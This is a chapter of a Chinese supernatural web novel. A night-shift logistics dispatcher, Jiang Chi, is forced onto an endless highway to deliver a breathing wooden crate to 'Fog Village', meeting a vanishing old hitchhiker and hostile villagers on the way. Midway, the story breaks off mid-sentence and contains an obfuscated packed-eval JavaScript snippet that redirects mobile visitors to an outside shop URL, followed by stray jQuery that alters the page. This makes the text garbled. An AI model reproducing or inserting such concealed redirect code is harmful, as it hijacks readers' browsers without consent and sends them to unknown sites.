姜迟是被冻醒的。
九月的夜里不该这么冷。她睁开眼，看见的是自己的车，那辆二手货车，驾驶室，她蜷在驾驶座上，身上盖了件外套。
她记得自己是在物流园值夜班，凌晨两点，她出来抽烟，靠着车门眯了一会儿。
怎么就睡过去了。
她坐起来，摸出手机，凌晨四点十七分。手机屏幕上有条陌生短信，没有号码，就一行字：
【您已被无限公路征召为行者，首单已派发，请在三十分钟内发车。超时抹杀。】
姜迟盯着这条短信看了十秒，得出结论：诈骗短信现在也搞沉浸式了。
她推门下车，脚刚落地就愣住了。
物流园不见了。
她停车的地方是物流园的北门，周围应该有仓库，有灯，有保安亭。
现在这些全没了。
她站在一条笔直的公路上，前后都看不到头，路边没有树，没有房子，天是黑的，但没有月亮，也没有星星，光线不知道从哪来，反正看得清路。
她的货车就停在路边，车头冲着前方。
姜迟回头看，身后也是路，一直延伸，延伸，延伸，直到看不见。
她拿出手机想报警，没有信号。短信倒是还在。
【剩余二十九分钟。】
字体变了，像是在提醒她刚才不是眼花。
姜迟深吸一口气。她这个人别的好处没有，就是稳。
在物流园干了四年夜班调度，什么阵仗没见过，司机跟货主打起来的，货着火的，高速封路堵了三十个小时的，她都能坐得住。
坐得住归坐得住，眼前这事不在她的经验范围里。
她绕着车走了一圈。
车是她的车，牌照是她的牌照，车厢锁也是她上的锁。
她伸手去摸口袋里的钥匙，摸出来一看，驾照在钥匙串上。
不对。
那不是她的驾照。
她的驾照是个蓝皮小本，这个是个黑的，打开，里面她的照片，她的名字，姜迟，但证件类型那一栏写着：行者证。
底下还有几行小字：
【行者：姜迟】
【载具：二手货车一辆（已绑定）】
【状态：首单待接】
【规则一：接单必须送达，超时即抹杀】
【规则二：货物不可查看，偷看者死】
【规则三：公路没有回头路】
姜迟把本子合上，又打开，又合上。
她掐了自己一把。疼。
行，不是梦。
驾驶室里传来一声响。
车自己点火了，仪表盘亮起来，中控的导航屏幕也亮了，跳出一张订单界面，跟她平时接单的货运平台长得差不多。
【订单编号：000001】
【货物：木箱一个（禁止查看）】
【装货地：此处】
【收货地：雾村】
【限时：4小时】
【备注：请准时送达】
姜迟盯着那个备注看了两秒。
干物流的都知道，备注栏越是客气，这单越是邪门。
她试着找取消按钮。
界面上没有。
找客服，没有。
关机，屏幕黑了又自己亮起来，订单还在那，倒计时开始走。
二十九分钟变成二十八分钟。
"抹杀是什么意思？"她对着屏幕问。
屏幕不理她。
"喂。"
屏幕还是不理她。
姜迟从车里翻出她的保温杯，喝了口凉茶，冷静下来想。
现在的情况，大概是碰上什么事了，什么事她不好说，但眼下只有两条路，一条是待在这不动，看看二十八分钟后会发生什么，一条是发车。
她看了一眼那条笔直的、看不到头的、没有一辆车一个人一条狗的路。
"先看看货。"她对自己说。
车厢是封闭式的，后门两把锁，钥匙在她手里。她跳上车厢踏板，开了锁，拉开门。
车厢里有一个木箱，一米五见方，摆在正中间，木条钉的，边角包了铁皮，没有唛头，没有面单，就贴着一张黄纸，上面三个毛笔字：
不可看。
木箱底下垫着防震的泡沫，固定得很好。
然后她看见，木箱动了。
箱板一起一伏，像呼吸。
很缓很慢，一下一下，跟人的节奏差不多。
姜迟站在车厢门口，没进去。
她干了四年物流，木头箱子她见多了，装的货也五花八门，甚至有司机偷着运的猫。
但会呼吸的箱子，她第一次见。
手机在口袋里震了一下。
【剩余二十五分钟。请尽快发车。】
姜迟跳下车，关好车厢门，重新上锁。她站在车边抽烟，抽了半根，把烟掐了。
她想明白了一件事。
这地方没有别人，没有信号，没有路牌，甚至天都是假的。
那张黑本子上写着超时抹杀，不管"抹杀"是个什么操作，她不想用自己的命去验证。
先跑这一单，跑完再看。
她拉开驾驶室的门，坐进去。
方向盘的手感没变，档位没变，一切都跟她的车一样，就是导航上那条路线，红的，直直的一条，延伸向前方，路线名称写着：
无限公路。
她挂挡，松手刹，踩油门。
车动了。
一上路，两边的黑就活了。
路两边本来什么都没有，开起来之后，她看见了路灯。
一盏一盏，昏黄的光，从车两边往后跑。
有路灯就说明有路肩，有路肩就说明这是正经的公路。
中控台上跳出导航的提示音，是个没有感情的机械女声：
"前方直行，一百公里。"
"一百公里之后呢？"
"请准时送达。"
得，问不出别的。
姜迟开货车四年，什么路况都跑过，唯独没跑过这种路。
路面很平，平得过分，没有一个坑，没有一条裂缝，轮胎碾过去一点声音都没有。
她试着开六十，开八十，码表稳稳的，车身不飘。
开出去大概二十公里，前方路边出现了第一个东西。
一个人。
准确说，是个老头，穿着旧夹克，背着手，站在路边，面朝她的方向，一动不动。
大半夜的，一条没有车的路上，站着一个老头。
姜迟的脚松了油门，车速降下来。
导航说："检测到搭车人。规则：不可拒绝搭车。"
"什么规则？你们这规则是现写的吧？"
导航不回答。
老头还站在那。
车开近了，姜迟看见老头的脸，很普通的一张脸，皱纹，老年斑，眯着眼，在朝她招手。
她的心跳有点快，但车速还是降到了老头跟前。
车窗降下来，老头弯下腰，冲她笑："闺女，捎我一程。"
"您去哪？"
"就到前头的村子。"老头说，"雾村。"
跟她的收货地一个名。
姜迟看了导航一眼，导航没反应。
她又看那老头，老头笑眯眯的，身上没有黑气，脸上没有血，就是个普通老头，除了大半夜出现在这种地方这一点不普通之外，都挺普通。
"上车吧。"她说，"坐副驾，系安全带。"
老头拉开门上了车，动作挺利索。
他一上车，姜迟闻到了一股味，不是臭味，是老房子里那种陈年的木头味。
车重新开起来。
老头坐在副驾上，不看她，看着前面："闺女，跑夜路的？"
"跑单的。"姜迟说，"您怎么一个人站在这？"
"等车啊。"老头说，"这条路，好多年没车经过了。我等的车一直没来。"
"您等多久了？"
老头想了想："记不得了。好几年了吧。"
姜迟没接话。这条路几分钟前才被她开出来，他说等了好几年。
车里安静了一会儿，只有发动机的声音。开出去几公里，老头忽然开口："闺女，你这车上拉的什么？"
"不清楚。"姜迟说，"接单接的，不让看。"
"不让看好啊。"老头点点头，"这路上的东西，看了就要出事。我闺女当年也不看，她就是闷头开车，什么都不知道，反倒安全。"
"您闺女也跑车？"
"跑。"老头的声音低了下去，"跑没了。"
姜迟握着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947430|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
方向盘，没问怎么没的。
老头自己说了："她送货，送到了地方，收货的让她把箱子打开验货。她不开，人家非要开，还多了钱。她就开了。"
"然后呢？"
"然后她就没回来。"老头说，"车回来了，空车，人没了。"
中控的导航屏幕闪了一下，姜迟用眼角余光扫过去，订单还在走，倒计时还剩三个半小时，一切都正常。
老头从兜里摸出个东西，放在中控台上。
是一枚硬币，黄铜的，上头没有国徽，没有数字，就一圈花纹，绕着一圈看不懂的字。
"闺女，拿着。"老头说，"前头的路要收钱。我这枚，够你过一次了。"
"您自己不要？"
"我用不上了。"老头笑了笑，"我等的那个车，不会来了。我等错路了。"
姜迟把那枚硬币拿起来，入手冰凉，沉，比一般的硬币沉得多。她想推辞，老头已经去推门了。
车这时候刚好经过一片路灯照不到的地方，黑了几秒，再亮起来的时候，副驾上已经没人了。
姜迟猛地踩刹车，靠边停下，回头看后座，没人。再看车门，关得好好的，安全带扣得好好的。
副驾的座位上，还留着那个浅浅的坐痕，正在慢慢回弹。
机械女声响起："搭车人已送达中途点。"
"他人在哪？"
导航不答。
姜迟坐在座位上，手心有点出汗。她把那枚硬币攥了攥，塞进上衣口袋，重新挂挡。
接下来的路，她没有再说话。
一百公里跑完，导航提示右转。
右边出现了一条岔路，路牌上就俩字：雾村。
字迹是手写的，白漆写在铁板上，往下淌着一道道漆痕。
岔路进去，雾就起来了。
先是薄薄一层，然后越来越浓，雨刮刮上去都挂水。姜迟把车速降到三十，雾灯全开，能见度不到五米。
导航还在报："前方三百米，到达目的地。"
三百米，两百米，一百米。
雾里出现了轮廓。
先是树，后是墙，再然后是一个村子。
土路，平房，家家闭户，没有一盏灯，整个村子泡在雾里，安静得不像有人住。
土路尽头是一块空地，空地上立着一块牌子：卸货区。
姜迟把车倒进空地，停稳，拉手刹。
手机震动。
【已到达目的地。请卸货，等待收货人签收。签收后订单完成。】
她下车，开后门，那口木箱还在车厢里，还在呼吸，一起一伏，节奏比刚才快了点，像是睡着了的人在翻身。
她把尾板放下来，刚要去搬箱子，村子里的雾动了一下。
雾里走出来一个人。
是个中年男人，穿着旧工装，雾大，看不清脸，他径直朝车尾走来，脚步不快，但转眼就到了跟前。
"货到了？"男人问。
"到了。"姜迟说，"麻烦签收。"
"先卸货，验收了才签收。"男人说，"规矩。"
"面单上写的是签收后卸货。"姜迟说，"我的规矩。"
男人沉默了两秒，雾里的脸往她这边偏了偏："我们村的规矩是先验收。打开，我看看货对不对。"
"货不让看。"姜迟说，"箱子上贴着呢。"
"到了我的地方，就得按我的规矩。"男人的声音平得没有起伏，"打开。"
姜迟站在尾板上，居高临下看着他。fog里的村子静悄悄的，远处隐约有第二个人影，第三个，都站在雾里，不动，面朝这边。
人越聚越多。
中年男人朝车厢走了半步："打开。不然你自己留下，当货抵。"
姜迟的手已经摸到了口袋里的那枚硬币。
就在这时，车厢里那口木箱，忽然不呼吸了。
所有的起伏都停了，箱子僵在那，像一块真正的死木头。
然后，箱子里传出了声音。
很轻的，贴着箱板，像是有人在箱子里面，贴着木板，说了一句话。
声音不大，姜迟听得很清楚。
那是她自己的声音。
"别开车。"
箱子里的声音说："别开车，掉头，往回开，现在。"